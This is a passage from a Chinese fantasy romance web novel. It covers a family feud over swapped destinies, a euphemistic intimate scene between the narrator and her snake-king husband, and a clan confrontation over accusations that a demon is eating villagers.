“那你又凭什么要求别人来替你承担一时冲动的后果……阿贞,你为了报复我,嫁给他,后来又为了报复他,做出那些事……你这辈子,到底想要的是什么?” “我想要什么?” 宋淑贞发了疯的仰天大笑: “你问我想要什么,我想要的不过是和你白首偕老,但你不要我,我想要母亲的爱,母亲不要我,从始至终我都是被你们抛弃的那个!” 李大叔沉叹道: “你经历的种种,何尝不是你的自作自受呢?你如果肯安心留在族里等我,我会给你一个交代,一个风风光光的婚礼。 你如果肯放下幼时的心结,老祭司会是最疼爱你的母亲…… 我们三人之间,他才是最无辜的那个。假如你当年肯放下,你想要的爱,他也能给你。 淑贞,你亲手毁了一个最爱你的男人。” “毁?”宋淑贞狼狈冷笑:“那是他自己命短,是他的报应!” “阿贞,他真的是坠崖身亡吗?” 坠崖……我爸?! 我赶忙再往墙头趴些。 的宋淑贞闭上双目,捻动手里念珠不说话。 李大叔接着道:“还有花枝,你那样做,对得起自己的亲女儿吗?” 宋淑贞一僵,心虚地背过身:“我听不懂你在说什么。” 李大叔失望阖目: “两个孩子还没出生前,他就给两个孩子起了名,请大长老亲笔书写了名笺,赐了福运。 鸾镜与花枝,是姐姐与妹妹,其他的都可以掩人耳目,唯独大长老用与你相克的法力书写的名笺,顺序不会错。 姐妹俩的名字,一出生就烙进了命魂里…… 阿贞,我说得对吗?” 鸾镜、与花枝…… 姐妹顺序不会错? 是什么意思。 “李忘尘,我最讨厌你多管闲事的样子!” “花枝不是正常孩子,你这样逆转天意,迟早会出事的!” 第120章 青漓,我想要你…… “出事?你又想说什么报应、天谴,对么?” 宋淑贞深呼一口气,挺直腰杆道: “我宋淑贞,即便有错,在与我对阴苗族所做的贡献相比,也是不值一提!” 李大叔失望摇头: “那老祭司呢,你的母亲,又做错了什么,你设计你女儿的时候,难道就没有想过,可能会害了你母亲?她下葬这么多天,你却一次都不肯过去瞧她……” 宋淑贞咬牙恶狠狠道: “母亲?在她杀了柳姨时,她就已经不是我的母亲了! 你知道我这辈子最痛快的一次复仇是哪一回吗? 是我当着她的面刻柳姨的牌位,然后哭喊着说,柳姨才是最疼我的人,为什么死的人不是她。 当时,她举起手想打我,却落不下巴掌,只好忍下那口恶气,红着眼眶憋屈掉眼泪。 哈,将她气成那样,我真的好痛快。 她就不该回来!她若不回来,我还是那个有人疼的孩子。 她若不回来,我还会拥有那个幸福美满的家! 是她,残忍摧毁了我所珍视的一切! 她让我失去亲人,我便也让她做一辈子的孤家寡人!” “阿贞。” 李大叔痛心反驳道: “那本就是她的家!你可是她九死一生生下的女儿啊!她如果不疼你,又怎会明知你在族里做这些伤天害理的事,还纵容你,护着你,不惜替你扛下华桑大帝的惩罚……” “那是她欠我的!” 宋淑贞几近疯魔地否认道: “是她先抛下我!她不爱我的父亲所以也厌恶我! 从小到大,只有柳姨最疼我……可她却杀了柳姨! 我看见了,我全都看见了! 她在外人面前装得清高神圣,可只有我清楚,她这辈子,也不干净! 柳姨和父亲的死是她的污点,阳苗族那个该死的阿英,也是她的污点!” 阳苗族……阿英? 是外婆那位教她控活蛊的阳苗族好友吗…… 阿英、心上人、续命。 这些信息一结合,我好像、知道华桑大帝口中那个遭了天道惩罚,百世轮回生生早亡的男人是谁了! 他就是临死前将控生蛊的秘术全部传授给外婆,刚满二十岁就患了绝症,外婆为救他炼了无数阴蛊灵丹,可最终使尽浑身解数也没能救下他性命的那个阳苗人…… 外婆的心上人,就是她幼时青梅竹马的玩伴,也是、阳苗族的阿英。 那柳姨又是谁? 被夜色笼罩半个身影的李大叔压抑道: “所以,当年的你,和小鸾镜有什么区别?现在的你,和当年的老祭司有何不同? 老祭司因为你父亲而疏远你,你不也因为鸾镜的父亲,厌恶鸾镜么?” “我……”宋淑贞被怼得哑口无言。 李大叔沉沉道: “何况,老祭司当年并非真的不爱你,都是你的错觉罢了。 阿贞,听我一句劝,别再执迷不悟了,花枝的命格,会毁了阴苗族。 鸾镜才是族中正统,当年老祭司救走鸾镜,也是想减少你身上的罪孽……” 灯影里的宋淑贞沉默良久,握着青檀木念珠的手负在腰后,仍低声坚持道: “只要宋鸾镜死了,那一半圣女气运就会回到花枝体内,花枝就是我们阴苗族独一无二,无可替代的圣女,命格中的煞气算什么,圣女气运镇得住! 我可是阴苗族大祭司,我的女儿,只要我想,哪怕为她换个命格,我也能做到!” “你所说的换个命格,就是去换鸾镜的。” “是。” 宋淑贞毫不遮掩地直言道: “从她们两个刚出生,我就想对换她们的命格,灰狐仙来村子里闹事的时候,我又想过一次! 可惜那个杂种的命太硬了,我换了两次都没成,最后只能用双生蛊换了她们的气运。 我本以为只要把宋鸾镜丢给灰狐仙折磨死,花枝就能永远拥有宋鸾镜的气运与命数了,可谁知,你竟三番五次坏我好事! 是不是你给那个杂种引的路!让她提前一晚去嫁那条青蛇大妖。 害得花枝与她的气运又换了回去!” “执迷不悟!” 李大叔无奈摇头,哽咽道: “阿贞,我知道我劝不动你,但有两句话你得记住。 别打鸾镜的主意,她的命,你换不起。 尽早放弃宋花枝,你若悉心引导她进入正途,她或可平安度过此生。 你若推她走向歧路,当心,她最后将你也反噬了。” “少在这里妖言惑众和我扯什么正途歧路,李忘尘,你还是一如既往地骄傲自大! 你凭什么以为你所坚持的道,就是正途,而我修的道,就是歧路呢! 我告诉你,我不但要培养花枝,将花枝送上高位助花枝成仙,我还要通过花枝让你和所有阴苗族的族人都瞧清楚,只有我,才能带领阴苗族走向繁荣重回千年前的昌盛。 很快、阴苗族便能再度拥有长生之力!我就是要把所有伤害过我,我厌恶的人,都踩在脚下!” “你!” 李大叔愣愣看着宋淑贞,一时语塞。 两人争吵了那么久,终是不欢而散。 我扒在墙头心中暗叹李大叔多此一举。 宋淑贞已经被怨恨蒙蔽了双眼,几十年的执念,怎么可能说放下就放下。 眼见着主角都走了,我也拽上小凤踩着枣树打算再从墙头悄悄下去。 可小心翼翼抬脚往下试探时,我余光却又无意扫见院子里堂屋东边拐角处,有抹蓝色身影猫在墙后,正聚精会神偷窥着家里发生的一切…… 看完好戏,还不忘攥紧五指往墙上重重捶一拳。 这个宋花枝……果真没心没肺,连自己的亲妈都防。 站在堂屋门口的宋淑贞久久方回过神,捏紧指尖檀木念珠,冷哼一声,兀自嘲讽: “好得很啊!李忘尘,你竟然为了那对恶心的父女来训斥我,找我麻烦!你越是在意他们,我就越是,不会让他们好过!” 啧,这是吃醋了? 宋淑贞家,比我和外婆的家要大上五六倍。 要不是这回翻墙来凑热闹,我还没机会见识到大祭司的家有多气派。 我和外婆家,只有一间堂屋左右东西厢房,外加两间下屋一间小厨房。 还有一个不大不小的土墙院子,院子里种着桃梨枣树与海棠,以及几簇金银花栀子花与常见野山花。 总面积加起来也不过两百平,可宋淑贞这个大祭司家,光是花花草草与空地就占两百平面积了。 堂屋修建的青砖红瓦高大气派,堂屋左右两侧各有一间厢房,右前方还有一处单独的小屋子。 我下墙头时又顺便往东面拐角的月洞门后扫了眼,里面好像还有一座单独的小院子。 有钱有权就是好,盖房子跟建着玩一样。 母女俩也能住七八间房的大院子。 不过,外婆去世后,我也能一个人住四间房…… 我不喜欢住堂屋两侧的厢房,外婆生前,西厢房是她老人家在住,东厢房被用来存放稻谷了。 我从小到大,都住在厨房对面的下屋。 下屋虽然不够正式,不像是主人居住的地方,但下屋门口就是一棵大梨花树,采光也特别好。 住在那里,就像是身处在一片独属于自己的环境里,能不受外面动静打扰,安全感十足。 所以哪怕外婆的西厢房如今空出来了,我也依旧住在自己原来的下屋,不肯搬去主屋…… 我羡慕宋淑贞家的院子大,但细想想,我自个儿家也不算小,毕竟,家里只剩我一个人了。 青漓走后,我也不打算再嫁人组建家庭。 小凤是神鸟,现在还无法确定她会陪我多久…… 不过,就算小凤一辈子不离开,我们一人一鸟一小院,也足够了。 “哇主人,那个破祭司是真疯啊!还有她和老李之间,好像恩怨挺深。 破祭司和你父亲,还有老李,不会真是三角恋吧!啧啧啧,人类的感情的确好复杂呀!” “小凤。”我打断她亢奋的言语。 小凤凰加速追上我,与我并肩前行:“我在,主人,怎么了?” 我轻轻问:“你、能陪我多久?会不会像之前那些人一样,很快,就离开了,只是我生命中的一个过客。” 小凤凰头顶小揪揪颤了颤,一本正经地回答: “主人是想知道我们凤凰的寿数有多长吗?一般情况下,我们不被外力创死的话,是可以一直活着的…… 小凤是神鸟,而且并没有选择化形,小凤还保留着原始的原形状态,比那些化了人形的凤凰命还长点。 不出意外的话,小凤可以再陪主人几十万年…… 当然这期间小凤若是在外干架倒霉被对方创死了就另说。” 几十万年……傻凤凰啊,我们凡人,也就短短几十年的光阴。 以你的寿数,你就算能陪我几十万年,我也活不了那么久啊。 不过,确定小家伙在我这辈子不会离开,便够了。 宋潮生说得对,人都是害怕孤寂的。 但人,也不是非要有人陪才行,有只小鸟在身边,一样可以作伴! 回去的路上,小凤凰叽叽喳喳和我八卦了一路李大叔与宋淑贞…… 到了家,我好不容易才用一盘荷花酥堵上小凤的嘴。 而小家伙的生活习性也和小猪似的,吃饱了就打哈欠。 根本不用我费心思忽悠,小家伙就砸吧着嘴,主动躺进我用竹筐给她改造的小床里,钻进软和被窝内呼呼大睡了…… 见小凤早早歇息了,我也关上灯,安静躺在自己的大床上闭目养神。 不知过了多久,我忽在睡梦中感觉到体内窜上一阵酥麻的燥热…… 瞬间像有无数只咬人的红蚁在啃噬我的筋骨。 又痒又麻,折腾的人心慌意乱,全身难受。 腹中炙热。 我闭着眼睛难受地在床上翻来覆去,控制不住的抬手扒开衣领,扯拽贴身的绣花里衣。 “难受、好热……” 我脑中混乱的习惯性伸胳膊往大床外侧乱捞…… 以前,他都是睡在这个位置的。 今天怎么抱不到了。 “主人你怎么了,主人……帝君!” “啊别打我脑袋!” 蓦然一股清凉夜风袭进屋,吹得我稍感好受…… 胳膊被一只微凉的大手攥住,这触感……我再熟悉不过。 “蛇王大人……”我顺藤摸瓜的撑起柔软身躯,主动扑进他怀里,双手攀上他的脖子…… 软绵绵的趴他耳畔轻吐滚烫浊息:“青漓,我想要你。” 男人温柔按住我后背,有力的手臂揽紧我腰肢,侧首疼惜地吻了吻我的脸…… 软语安抚我:“好……阿鸾,不怕,只是多日未陪你,鸳鸯缠发作了。” 我等不及地挺身昂头去吻他清凉柔软的薄唇,习以为常地将手探进他的衣襟,熟练剥他身上衣袍。 “青漓、你抱紧我……” “抱紧了,不会摔下去。” 我张唇含住他的丝丝微烫吐息,搂住他的腰,将他压倒在床上…… 指腹抚在他结实坚硬的胸肌上画圈圈。 他没有浪费时间,除去我身上的衣物后,便直入正题地按住我后腰。 身上的热浪一重盖过一重。 我伏在他怀里,吻他吻得卖力。 汗水沿着下颌滑落,流淌过脖颈,蓄在锁骨处…… 床头花瓶里的红山花在夜风的温柔抚慰下,缓缓打开花苞,坠落两瓣殷红花色。 我闭着双眼恍若被困在一片春色满屋的美梦里。 轩窗外,桃花在皎皎月光下,绽放得如痴如醉—— 山花猛地被夜风无情带落数片妩媚花瓣。 似有一泓掺了温暖春光的清澈泉水缠绕在心房,温养的人身心舒畅…… “青漓。” 第121章 老公,你腹肌好硬! 心跳攀上云霄的那一刹,我情难自抑地喊出了他的名字。 他柔顺的雪发纠缠在我白皙纤长的五根手指上,像月老的红线,牢牢锁住了我和他。 “阿鸾。”他喘着炙人的粗气体贴回应我:“我在,莫怕。” 我只觉脑中一阵天旋地转,撑不住地趴回他肩上,意识不清地喃喃梦呓: “你欺负我……凭什么拿紫蛇吓唬我,给我委屈受。” “是我不好,阿鸾,你想怎么惩罚我都行……” 我乖乖搂住他的脖子,半梦半醒:“我赶你走……你就真走吗?负心汉……你就不能多哄哄我么?” 他摸摸我的脑袋,边帮我解鸳鸯缠,边疼惜地回应我: “好,本尊哄阿鸾。阿鸾,本尊以为你不想见到本尊……本尊会学着,如何哄阿鸾,如何讨阿鸾欢喜……” “你这两天,去哪了?我看不见你,心里很乱……” “阿鸾,本尊一直在你身边,只是有时会去柳叶村办事。 再等本尊两日,本尊降服那条黑蛟,便回来向阿鸾负荆请罪…… 届时,本尊把黑蛟打成死结送给阿鸾,阿鸾想怎么刮他蛟鳞,就怎么刮!” “青漓……” “嗯。” “你到底喜不喜欢我……” 他抚着我的后脑勺,安静片刻,语气坚定道: “喜欢,一直都喜欢。 阿鸾,上一世,我便心悦于你。 可惜发现得太晚,待大彻大悟时,一切都迟了…… 阿鸾,三百年前我就想这般拥有你。 阿鸾是凤凰树上,最美艳的那朵凤凰花,阿鸾这朵凤凰花,被本尊藏在心中快四百年了……” “什么凤凰花,青漓,我腰疼。” “本尊给夫人揉揉。” “这场梦结束后,你是不是就消失了?还会回来么?” 他箍住我的腰,低头埋进我的脖窝,没心没肺地肆意啃咬。 闹得我锁骨上方麻麻的,痒痒的…… “乖,明天就回来。” 我闻言松了口气,抬手捧起他的俊脸,闭着眼睛也能准确无误地立马找到他的唇,亲上去…… “别骗我。” “嗯……” 窗外起了大风,檐下吊着的树枝挂钩摇得咯吱咯吱响—— 他双手控住我的腰杆,大掌沿着腰线往上。 五指收拢,磁音沙哑地调戏我: “为夫很喜欢夫人,喜欢夫人的腰,喜欢夫人的唇,喜欢夫人的眉眼……还有身子。 当然,最喜欢的,还是夫人这个人。” 我被他亲得昏天黑地,混沌良久再陡然回神,张了张嘴,不知所云:“我喜欢、阿漓的腹肌……” 指尖戳了戳他的腰腹,我声音打飘:“老公,你好腹肌硬……” 肌肉都戳不动。 但不晓得为什么,他在听完这句话后,倏然精神百倍! 握住我的腰猛地翻身将我压在床上,更加卖力帮我解鸳鸯缠…… 我上气不接下气地窝在他怀中,放纵他的恣意贪婪,不大理解地小声咕哝:“鸳鸯缠,好像早就解了……” 他捉住我无处安放的手,将我的指尖含入口中。 闷笑一声,不正经地瓮声道:“硬点,不是更受夫人喜欢么?” 这好像是实话…… 主要是那个手感,光摸着,就足以令人血脉贲张。 —— 屋外风雨不知是什么时候停歇的。 一觉醒来,我扶着沉重的脑壳,趴在床栏上疲倦慵懒地晃了晃脑袋…… 怎么感觉好不容易睡了一个十小时的整觉,起来后反而头晕脑胀的呢? 难不成是睡久了? 不过……昨晚做的那个梦…… 的确香艳。 梦里的青漓可比现实中放得开多了。 懂得安抚人,吻技高超。 会舔舐我锁骨上的汗水,在我身上揉出寸寸殷红…… 虽然没有化原形,但花样百出。 折腾得我满身是落花。 梦里金色莲花与赤色凤凰花在我们身畔盘旋了很久很久…… 无数次融合,又分散。 我体力不支的软语问他,为什么不告诉我,我腕上的镯子法器是他抽掉自己的蛇筋所化。 他只握着我的腰窝,深情亲吻我的眉梢、眼角、鼻梁及唇畔…… 他说:“阿鸾,你就是本尊的命啊,一条蛇筋算不上什么。若你需要,本尊的心也可以掏给你。” “送你镯子从不是为了困住你,而是想护着我的阿鸾。 本尊的蛇筋与本尊之间有感应,本尊怕你遇见危险时来不及唤本尊的名字,有莲花蛇镯在,只要你有性命之危,本尊都能立时察觉到……” “阿鸾,本尊磨炼你,逼着你独自去处理从前那些麻烦,在别人伤害你时也从不主动出面为你解决隐患,不是本尊心狠,也并非本尊不爱你…… 本尊将你视为珍宝,本尊也舍不得眼睁睁看着你被别人伤害而无动于衷,可本尊必须要催着阿鸾成长,本尊不能,阻碍阿鸾变强大。” “本尊与阿鸾,曾经历过无数次阴差阳错……本尊深知,即便本尊一天十二个时辰,每分每秒都守在阿鸾身边,保护阿鸾,也不抵本尊助阿鸾强大,让阿鸾自己拥有对抗敌人的力量安全。” “百密一疏,仅差一步的前车之鉴,本尊不敢再经历了。 本尊怕,万一哪天本尊稍不留神,本尊的阿鸾就落进坏人手里被对方欺负伤害了,本尊届时,定是追悔莫及!” “让阿鸾觉得本尊薄情,总好过本尊的阿鸾在外人跟前吃亏……” “阿鸾,你说得没错,真正爱一个人,是见不得她被伤害的。可是阿鸾,你又怎知你从前被那些人殴打欺辱时,本尊没有在提着心?” “夫人,为夫是蛇,生性手段阴毒且小心眼。他们打你一棍,本尊便在他们的睡梦中,还他们十棍。 他们骂你一句,本尊便让他们口舌上生一处疮。 可本尊做这些,又不好同夫人讲……” “本尊才不会让夫人有性命之危,夫人的命是本尊的,本尊的命也是夫人的。” “为夫知道,阿鸾并不是怪为夫在阿鸾受欺负的时候不露面,没有人比为夫更了解阿鸾,阿鸾是个要强上进的姑娘。 阿鸾从不会将为夫待阿鸾的好,视为理所应当,更不会要求为夫必须在阿鸾有难时,保护阿鸾给阿鸾出气…… 阿鸾更喜欢亲手报仇,亲自给自己出口恶气的快感。” “阿鸾之所以在意这件事,是因为阿鸾在意为夫的态度。 阿鸾怕为夫不出手,是因着为夫不喜欢阿鸾。 不喜欢,便不会在乎阿鸾的死活…… 若是磨炼,阿鸾肯定会欣然接受。 可若是不在乎,阿鸾会很难受、很伤心……” “阿鸾,你爱上为夫了,比为夫想象中的,要早些。” 梦里的青漓会耐心给我解释他的初衷,还会体贴给我揉捏酸痛的腰身。 一遍又一遍哄着委屈啜泣的我,认真承诺以后再也不吓唬我了。 后来还在我的再三要求下,保证自己下回一定轻些…… 不像当晚那般孟浪失控了。 哎,可现实的他呢。 薄情冷漠又没良心。 别说哄我了,他现在估摸看见我给他甩脸子就头疼。 网上不是说了吗,男朋友吵架后的惯用应对方式:你先冷静几天我们再好好谈。 明面上是害怕女朋友见到自己会越想越气,实际上却是不耐烦,不想伺候了,自个儿找个清静地逃避问题享受生活去了。 这一走,他是爽了,如释重负了,可却把负能量都丢给女朋友,逼着女朋友独自消化。 对这段感情尚有留恋,舍不得放手的女生会在被晾几日后,因为太害怕失去他,便主动跑去找他送台阶。 可清醒点的女生,就会直截了当地提分手,她也不奉陪了。 所以有的情侣才会冷着冷着就凉了…… 而我和青漓,应该也属于要凉的那种吧。 他不觉得自己有错,我也绝不会给他再伤害我的机会。 换而言之,他连哄我都懒得付出心思,我还能指望未来在我白发苍苍,缠绵病榻时,他会像从前那样,悉心照顾我,不嫌弃我,温柔喂我喝汤药么? 真到了那时候,他不在外找母蛇,左拥右抱地带回家我就已经谢天谢地了! 不行,越想越觉得这段感情已经没必要再继续了。 他明知我想要的是什么,却揣着明白装糊涂,逃避不解释不作为…… 分,必须分! 下次再做春梦,把他换了! 不过…… 昨晚在梦里,我记得,他后来又和我说,他今天要去收拾黑蛟,让我放宽心,乖乖在家等着他,他很快就回来…… 这个梦做得还是太有技术含量了。 我的潜意识竟连他两日不出现的借口都给他找好了! 心累地趴在床头叹了口长气,我缓了二十来分钟,才无精打采的从被窝里爬出来。 起身去屏风前拿衣裙,我打着哈欠,浑身像被石磙碾过似的,肌肉酸痛,骨头都要散架了…… 对着衣柜上的落地镜整理裙摆时,我才忽然发现—— 大腿上竟然有好几片红痕! 谁趁我睡着拧我肉了?! 刚勒好墨底织金滚云纹的锦缎腰带,小凤就委屈唧唧地扑扇着双翅火急火燎冲进屋,扯嗓子尖叫找我告状: “呜呜呜主人!小凤挨打了,脑瓜子都被拍起包了! 小凤昏迷了一夜,刚刚才从井边清醒过来……还差点一翻身摔进水井里! 呜——主人,你可得给小凤做主啊!你得帮小凤报仇啊!” “什么?”我猛地拎起心,松弛的神经骤然紧张,扭头严肃追问:“你被打晕了?还昏迷的一夜?!是谁干的!” 小凤可是神鸟,能把小凤打晕,害她昏迷到现在的人……实力肯定不容小觑! 说不准还不是人,可能是什么精怪野仙。 这么厉害的东西深更半夜潜入我们家,总不至于是专门来敲小凤脑袋的吧! “你怎么样了?身体还健全吗?有没有少什么鸟心鸟肺鸟肾鸟肝?!他把你打晕以后有没有对你做些什么?你脑子现在还好吗!” 我忧心忡忡地一把捧住小凤的小脑瓜子,着急询问。 小凤扑扇着双翅,被我揉得小脸蛋都变形了,不自在地挣扎道:“主人主人,你放手!你捂住小凤耳朵了……小凤没缺内脏,脑子也没坏。” 我不解地拧紧眉心,撒手松开她:“那为什么要打晕你?小凤你有看见是哪个王八蛋敲晕你的吗?” 小凤抬翅膀擦擦脸,顺便理了理头顶的小揪揪,哭丧着脸道: “小凤看见了,打晕小凤的王八蛋就是帝君!” 我呛住,一头雾水地抽了抽右眼角:“啊?” 小凤挥舞着膀子恼火道: “就是帝君!帝君坏死了,昨晚主人睡着睡着突然喊热,喊难受,小凤不知道主人怎么了,刚飞到主人床前查看情况,帝君就突然破门而入,吓得小凤魂都快丢了。 小凤看见帝君也很高兴啊,小凤就想喊帝君来看看主人到底怎么回事,结果小凤一靠近帝君,帝君就摸起桌上一本漫画书,照着小凤的脑袋,扬袖就是啪的一声!” 小凤说着,还手舞足蹈地用翅膀比划着,绘声绘色讲到青漓拍她脑门子时,抬起翅膀便往脑门子上一盖,陡然加重语气,吓我一哆嗦。 表演完,小凤委屈可怜地拖着哭腔干嚎,辛酸地用翅膀抹眼泪: “然后我就被帝君拍晕了!帝君拍晕我也就算了,还把我丢去外面,扔到了石井边上,他好歹把我放回小窝里啊!害得小凤在外面挨了一夜的冻,呜呜,小凤都流鼻涕了!” 我:“……” 小凤这遭遇,嗯……的确凄惨。 但,小凤说昨晚青漓回来看我了?! 难道,昨晚那活色生香的经历……不是梦?! 我在睡梦中喊热、喊难受,应该是鸳鸯缠发作了。 而能在鸳鸯缠发作时给我纾解欲念的,只有青漓。 “青漓昨晚,真的回来了?”我不敢置信地又问了小凤一遍。 小凤抹着眼泪哭唧唧:“当然哇!小凤难道还会骗主人吗?主人你摸摸,小凤的后脑勺都起包了!” 小家伙低头往我怀里蹭,我好奇地用指腹摸摸…… 嚯! 的确好大一个包! 正打算说几句好话哄哄小凤来着,门外忽然传来村里年轻人的拍门呼唤声:“鬼师娘娘,你在吗?” 我愣了愣,抱住小凤出房门,凝声回应:“在,怎么了?” 年轻人隔着院门恭敬道:“大祭司有请。” 第122章 吃人的不是我家蛇王! 宋淑贞…… 看来是昨晚受了李大叔的刺激,今天按捺不住的来找我麻烦了。 小凤在我怀里异常兴奋地哇了声:“她来了她来了,她带着支线任务走来了!” 我愣住:“啊?什么支线任务?” 小凤激动道: “在升级打怪的游戏里,反派大BOSS会经常给主角搞事,搅得主角不得安生。 大BOSS制造出来的那些麻烦,就是主角的支线任务,而干掉大BOSS就是主角的主线任务! 支线任务也叫打副本剧情!” 我意外问小凤:“你还会打游戏?你接触过电子产品?” 小凤淡定道: “低调低调啦,自从冥界的酆都大帝搞出三界通以后,我们神界也通网了,只是和你们人间用的不是一个网络系统。 但是我们可以搭梯子翻墙,偷偷进你们人间的网,所以我们可以看到你们人间网络上的消息,还可以玩你们人类开发出来的游戏,还能和你们人类组队通关呢! 主人你不晓得,小凤我可是你们人类游戏的骨灰级粉丝玩家! 从二十年前,你们人类54188小网站的单机游戏,到现在你们开发出来的沉浸式3D,有名的几个游戏我都打过,想当年,我可是熬夜玩54188小网站上的化妆穿衣小游戏,玩得我都差点起了化形的邪念…… 但后来想想,凤凰化形要扛过天火焚身,还是算了吧。 天火焚身后我就算侥幸活下来也会损不少修为,我们凤族之所以后嗣稀少,品种珍稀,就是因为大多都死在浴火重生这场劫数上了。 想当年青鸟哥哥受火劫化形那会子,要不是运气好恰巧撞见主、西王母娘娘神驾从他头顶经过,他早就被天火烧成灰了。 再说,西王母娘娘讲过,动物化形成人便会徒添无数灾难,我好不容易才将一身凤羽修炼得耀眼夺目,才不要当人呢!” 小凤一番话委实刷新了我的三观。 原来地府早就通网了! 那地府支持转账吗? 过阵子中元节,我可以直接往外婆户头转上几百位数! 我抚了抚小凤身上柔软的凤羽,镇定回应门外年轻人:“我知道了,马上就过去。” “好!”门外年轻人传完话就离开了我家。 我并没有什么可准备的,简单梳洗完,就揣上小凤出门去月阴村祖祠了。 祖祠大门外还悬挂着前一阵祈神节准备的大红新灯笼与鲜艳似火的红绸缎。 只是喜庆的红绸子这几日被雨水打得颇显萎靡,湿漉漉地垂挂在门口,并不是很好看。 祈神节当天挂上去的千花千角灯也没舍得摘下,偌大的千角宫灯奢华庄重地垂于肃穆清冷的祖祠大堂正中央,占去了祖祠正堂三分之一空间。 害的几位族老与大长老,及一袭黑衣,头戴银凤垂珠冠的宋淑贞只能退站一旁,挤在边角处。 我揣着袖中的小凤迈进祖祠时,宋淑贞刚将三炷香插进历任大祭司牌位前的褐色香炉里。 见我到场,阿乞打着哈欠用眼神示意我今天又是宋淑贞组的局,他也一头雾水。 至于旁的族老,有的捋着胡子眯眼睛装傻,有的盯着我,一副欲言又止的表情…… 但在场所有人都默契地保持沉默,等待宋淑贞这位大祭司先开口。 宋淑贞手中拎着青檀木念珠,双掌合十,装模作样的闭目冲祖宗牌位规规矩矩地拜了三拜。 拖了大约五分钟,宋淑贞才放下双手,转身看向我,面色阴冷地不屑启唇: “宋鸾镜,你身为我阴苗族的鬼师,不想着造福我族,为我族谋福祉,反而嫁给三百年前被神娘娘封印在娘娘庙下的祸世大妖,且纵容那条大妖在族内行凶吃人,祸乱柳叶村,你该当何罪!” 我昂头,不卑不亢地盯着宋淑贞淡漠道:“大祭司,你须称呼我为宋鬼师,或鬼师娘娘,直呼鬼师名讳,大祭司是否太不懂规矩了些。” 一句话将她噎得脸发青,她伸手拿起斜靠在供桌边的乌灵木权杖,冷哼一声嫌恶道:“宋鬼师可真是好样的!” “不敢。” 我反呛回去,冷冷道: “虽然您和我有些不可言说的关系,但如今您是阴苗族大祭司,我是阴间鬼师,咱俩平起平坐还是各论各的比较好。 况且,当初若不是被大祭司逼得走投无路,我又怎么可能误打误撞嫁给那位被封印的青蛇王。 不过,我再纠正一遍,在柳叶村吃人的妖孽不是我家青蛇王,大祭司,指认别人也是需要证据的! 没有证据就是污蔑!” “证据?”宋淑贞挑眉争辩道:“我与那妖孽交过手,我就是人证还需要什么证据?我亲眼所见,在柳叶村大开杀戒的妖物就是一条大青蛇!” 我听罢不禁嗤笑: “大祭司睁眼说瞎话的本事可真越发炉火纯青了,是不是我家青蛇王,我能不清楚么?换而言之,大祭司你男人在外面杀人放火,你会完全没有察觉吗?” “宋鸾镜!”宋淑贞眯了眯深邃美眸,提起手里乌灵木权杖重重往地板上一敲,高高在上地呵斥:“你注意措辞!” 我无奈挑眉,偏与她对着干: “大祭司动什么怒啊,我又不是在嘲讽大祭司,就算要讽刺,我也应该讽刺大祭司年纪轻轻就没了丈夫,是不是命硬克夫……” “你!”宋淑贞风韵犹存的白皙容颜顿时一阵青一阵红,老脸上开了染坊似的,五颜六色…… 我故作矫情姿态,气死人不偿命地捂嘴装无辜膈应她: “哦我怎么能把心里话说出来了呢!大祭司你别怪,我就是心直口快,想什么就说什么没那么多弯弯绕绕。何况,大祭司当初不也说我克父嘛,咱俩这次就当扯平了!” 宋淑贞被我恼得额上冒冷汗,阿乞则默默掏出一把瓜子,偷偷塞进嘴里边磕边看好戏。 向来和大祭司不怎么对付的殷老抿紧唇,想笑又不敢笑,把自己憋得肩膀不停抖动。 族老们相视一眼,面露难堪。 “本祭司不想在这和你浪费口水听你胡言乱语!宋鸾镜,青蛇大妖是我阴苗族的心头大患,三百年前他曾杀死我阴苗族无数子民! 今天无论如何,你都得把他交出来!你屡屡包庇掩护他,难道你想背叛我们整个阴苗族吗?”宋淑贞气急败坏地怒斥。 我抬眼瞟她,冷笑笑: “大祭司除了会给人强加罪名,还会干什么?我说的是实话,怎么就成包庇掩护他,背叛阴苗族了?” “他是青蛇大妖,是被神娘娘镇在娘娘庙下的祸害!你如此护着他,难道是想害我们阴苗族再次重现三百年前的悲剧吗? 他留在阴苗族一日,我们的族人就会危险一日!本祭司给你两个选择,要么交出他,和他断绝关系,你仍是阴苗族的鬼师,要么,你和他都得死!” 我看着恼羞成怒的宋淑贞,心平气和:“我要是两个都不选呢?” “那你就是阴苗族的罪人、仇人!”宋淑贞瞪大双眼,狠声威胁。 “三百年前他祸乱阴苗族,你亲眼所见了?” 我依旧漫不经心: “既然你也说了,他是被神娘娘镇压在娘娘庙下的,宋花枝就是神娘娘转世,你让宋花枝去把他封印了呗。和我叫嚷有什么用,我又降不住他。” 提到宋花枝,上一秒还嚣张跋扈的宋淑贞下一秒就攥着乌灵木权杖心虚地漏了怯。 阿乞给力地帮衬我: “对啊大祭司,既然圣女是神娘娘转世,那咱们还和宋鸾镜废什么话啊!你喊上圣女,咱们直接去宋鸾镜家里把那条大青蛇给收了!事关阖族安危,大祭司你千万不能考虑宋鸾镜的心情啊!” 说完,还朝我使了个目的得逞爽到了的眼神。 几位族老听阿乞发了话,顿时也信以为真地相继一本正经劝宋淑贞: “大长老所言有理啊!大祭司您不也说过,圣女有封印青蛇大妖的能力吗?圣女既然能封印青蛇大妖一次,就能封印第二次!” “鬼师娘娘肯定也是被那条大青蛇蒙在鼓里,您就不要再为难她了,俗话说,一日夫妻百日恩。” “圣女能封印青蛇大妖,咱们完全没有必要多费力气,青蛇大妖那么厉害,还是封印了大家才能心安。” “圣女……” 宋淑贞被族老们一人一句话赶话逼得退无可退,只能无计可施地瞪大双眼恼怒剜我,咬牙底气不足的现场瞎编:“圣女在祈神节被那条妖凤伤了神魂,暂时还不能封印青蛇大妖。” 阿乞早有所料地嗑着瓜子阴阳怪气:“哎,那可真是太遗憾了。” 几位族老捋着胡子附和:“确实碰巧……” “圣女在祈神节那天,确实伤得不轻。” 王老想了想,又试图来说服我: “鬼师娘娘,你还是把那条大青蛇交出来吧! 这几天青蛇吃人的事在族里闹得人心惶惶,不止大祭司一人指控青蛇大妖,柳叶村的村民们也都认定青蛇大妖就是在村里吃人的怪物。 风言风语多了,对你的名誉也不好。” 我冷下眸色再次昂头强调:“我说了,吃人的不是我家青蛇王。” 第123章 验认心石 向来以大祭司马首是瞻的孟老窝火指责道: “你说不是就不是吗?柳叶村那么多双眼睛都看见了,你还想如何狡辩! 各位族老,我看也别和宋鬼师废话了,既然宋鬼师这么护着那条大青蛇,那咱们就绑了宋鬼师,把那条大青蛇给引出来! 